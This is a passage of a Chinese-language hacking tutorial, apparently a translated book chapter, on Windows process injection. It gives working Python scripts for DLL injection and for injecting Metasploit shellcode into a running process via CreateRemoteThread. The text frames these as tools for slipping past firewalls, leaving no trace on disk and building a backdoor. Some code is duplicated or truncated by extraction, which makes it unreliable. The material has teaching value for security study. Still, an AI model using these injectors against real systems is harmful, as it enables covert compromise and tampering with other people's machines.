企业🤖AI智能体构建引擎,智能编排和调试,一键部署,支持私有化部署方案 广告
## 7.1 创建远线程 两种注入虽然在基础原理上不同,但是实现的方法差不多:创建远线程。这由 CreateRemoteThread()完成,同样由由 kernel32.dll 导出。原型如下: ``` HANDLE WINAPI CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); ``` 别被这么多参数吓着,它们很多通过名字就能知道什么用。第一个参数,hProcess 就是 将要注入的目标进程的句柄。lpThreadAttributes 参数就是创建的线程的安全描述符,其中 的数值决定了线程是否能被子进程继承。在这里只要简单的设置成 NULL,将会得到一个不 能继承的线程句柄,和一个默认的安全描述符。 dwStackSize 参数表示新线程的栈大小,在 这里简单的设置成 0,表示设置成进程默认的大小。下一次参数是最重要的: lpStartAddress, 也就是新线程要执行的代码在内存中的哪个位置。lpParameter 和上一个参数一样重要,不 过 提 供 的 是 一 个 指 针 , 指 向 一 块 内 存 区 域 , 里 头 的 数 据 就 是 传 递 给 新 线 程 的 参 数 。 dwCreationFlags 决定了线程如何开始。这里我们设置成 0,表示在线程创建后立即执行。更 多详细的介绍看 MSDN。最后一个参数 lpThreadId 在线程创建成功后填充为新线程的 ID。 知道了参数的作用,让我们看看如何将 DLL 注入到目标进程,以及 shellcode 的注入。 两种远线程创建,有些许的不同,所以分开来说。 ### 7.1.1 DLL 注入 DLL 注入是亦正亦邪的技术。从 Windows 的 shell 扩展到病毒的偷取技术,处处都能见到它们。甚至安全软件也会通过将 DLL 注入进程以监视进程的行为。DLL 确实很好用,因 为它们不仅能够将它编译为二进制,还能加载到目标进程,使它成为目标进程的一部分。这 非常有用,比如绕过软件防火墙的限制(它们通常只让特定的进程与外界联系,比如 IE)。 接下来让我们用 Python 写一个 DLL 注入脚本,实现将 DLL 注入指定的任何进程。 在一个进程里载入 DLL 需要使用 LoadLibrary()函数(由 kernel32.dll 导出)。函数原型 如下: ``` HMODULE LoadLibrary( LPCTSTR lpFileName ); ``` lpFileName 参数为 DLL 的路径。我们需要让目标调用 LoadLibraryA 加载我们的 DLL。 首先解析出 LoadLibraryA 在内存中的地址,然后将 DLL 路径传入。实际操作就是使用 CreateRemoteThread(),lpStartAddress 指向 LoadLibraryA 的地址,lpParameter 指向 DLL 路 径。当 CreateRemoteThread()执行成功,就像目标进程自己调用 LoadLibraryA 加载了我们的 DLL。 DLL 注入测试的源码,可从 [http://www.nostarch.com/ghpython.htm](http://www.nostarch.com/ghpython.htm) 下载。 ``` #dll_injector.py import sys from ctypes import * PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) # Allocate some space for the DLL path arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_ME PAGE_READWRITE) # Write the DLL path into the allocated space written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) # We need to resolve the address for LoadLibraryA h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") # Now we try to create the remote thread, with the entry point set # to LoadLibraryA and a pointer to the DLL path as its single parameter thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) print "[*] Remote thread with ID 0x%08x created." % thread_id.value ``` 第一步,在目标进程内申请足够的空间,用于存储 DLL 的路径。第二步,将 DLL 路径 写入申请好的地址。第三步,解析 LoadLibraryA 的内存地址。最后一步,将目标进程句柄 和 LoadLibraryA 地址还有存储 DLL 路径的内存地址,传入 CreateRemoteThread()。一旦, 线程创建成功就会看到弹出一个窗口。 现在我们已经成功的完成了 DLL 注入。是让弹出窗口优点虎头蛇尾。但是这对于我们 明白注入的使用,非常重要。 ### 7.1.2 代码注入 让我们再狡猾点,再黑点。代码注入能够将 shellcode 注入到一个运行的进程,立即执 行,不会在硬盘上留下任何东西。同样也能将一个进程的 shell 迁移到另一个进程。 接下来我们将用一个简短的 shellcode(能终止指定 PID 的进程)注入到目标进程,然 后杀掉目标进程,同时不留任何痕迹。这对于我们本章最后要创建的后门是至关重要的一步。 同样,我们还要演示如何安全的替换 shellcode,以适用更多的不同的任务。 可以通过 Metasploit 的主页获得终止进程的 shellcode,它们的 shellcode 生成器非常好 用。如果之前没用过的,直接访问 [http://metasploit.com/shellcode/](http://metasploit.com/shellcode/)。这次我们使用 Windows Execute Command shellcode 生成器。创建的 shellcdoe 如表 7-1。 ``` /* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152 Encoder=None http://metasploit.com*/ unsigned char scode[] = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" "\xe7\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41" "\x41\x41\x41\x41\x41\x41\x41\x00"; ``` Listing 7-1:由 Metasploit 产生的 Process-killing shellcode 生成的 shellcode 的时候记得选中 Restricted Characters 文本框以清除 0x00 字节,同时 Encoder 框设置成默认编码。在 shellcode 的最后一行你看到了重复的 8 个\x41。为什么是 8 个大小的 A?因为,后面我们要动态的指定 PID(需要被杀掉的进程)的时候,只要把 8 个\x41 替换成 PID 的数值就行了,剩下的位置用\x00 替换。如果之前生成的时候对 shellcode 进行 了编码,那后面的这 8 个 A 也会被编码,到时候你就会非常痛苦,根本找不出来替换的地 方。 现在我们有了自己的 shellcode,是时候回来进行实际的 code injection 工作了。 ``` #code_injector.py import sys from ctypes import * # We set the EXECUTE access mask so that our shellcode will # execute in the memory block we have allocated PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = int(sys.argv[1]) pid_to_kill = sys.argv[2] if not sys.argv[1] or not sys.argv[2]: print "Code Injector: ./code_injector.py <PID to inject> <PID to Kil sys.exit(0) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" padding = 4 - (len( pid_to_kill )) replace_value = pid_to_kill + ( "\x00" * padding ) replace_string= "\x41" * 4 shellcode = shellcode.replace( replace_string, replace_value ) code_size = len(shellcode) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid ``` ``` # code_injector.py import sys from ctypes import * # We set the EXECUTE access mask so that our shellcode will # execute in the memory block we have allocated PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = int(sys.argv[1]) pid_to_kill = sys.argv[2] if not sys.argv[1] or not sys.argv[2]: print "Code Injector: ./code_injector.py <PID to inject> <PID to Kil sys.exit(0) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" padding = 4 - (len( pid_to_kill )) replace_value = pid_to_kill + ( "\x00" * padding ) replace_string= "\x41" * 4 shellcode = shellcode.replace( replace_string, replace_value ) code_size = len(shellcode) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) # Allocate some space for the shellcode arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) # Write out the shellcode written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) # Now we create the remote thread and point its entry routine # to be head of our shellcode thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None, 0,byref(thread_id)): print "[*] Failed to inject process-killing shellcode. Exiting." sys.exit(0) print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value print "[*] Process %s should not be running anymore!" % pid_to_kill ``` 上面的代码大部分看起来都很熟悉,但是还是有些有趣的技巧的。第一个,替换 shellcode 成我们想终止的 PID 的字符串。另一个值得关注的地方,就是调用 CreateRemoteThread()时, lpStartAddress 指向存放 shellcode 的地址,而 lpParameter 设置为 NULL。因为我们不需要传 入任何参数,我们只是想创建新线程执行 shellcdoe。 脚本调用参数如下: ``` ./code_injector.py <PID to inject> <PID to kill> ``` 传入合适的参数,线程创建成功的话,就会返回线程 ID。目标进程被终止后,你会看 到 cmd.exe 进程也结束了。 现在你知道了如何从另一个进程加载和执行 shellcdoe。现在不仅迁移 shell 方便了,隐 藏踪迹也更方便了,因为没有任何代码出现在硬盘上。接下来把我们所学的结合起来,创建 一个可定制的后门,当目标机器上线的时候,就能获取远程访问的权限。 我们能更坏吗?能!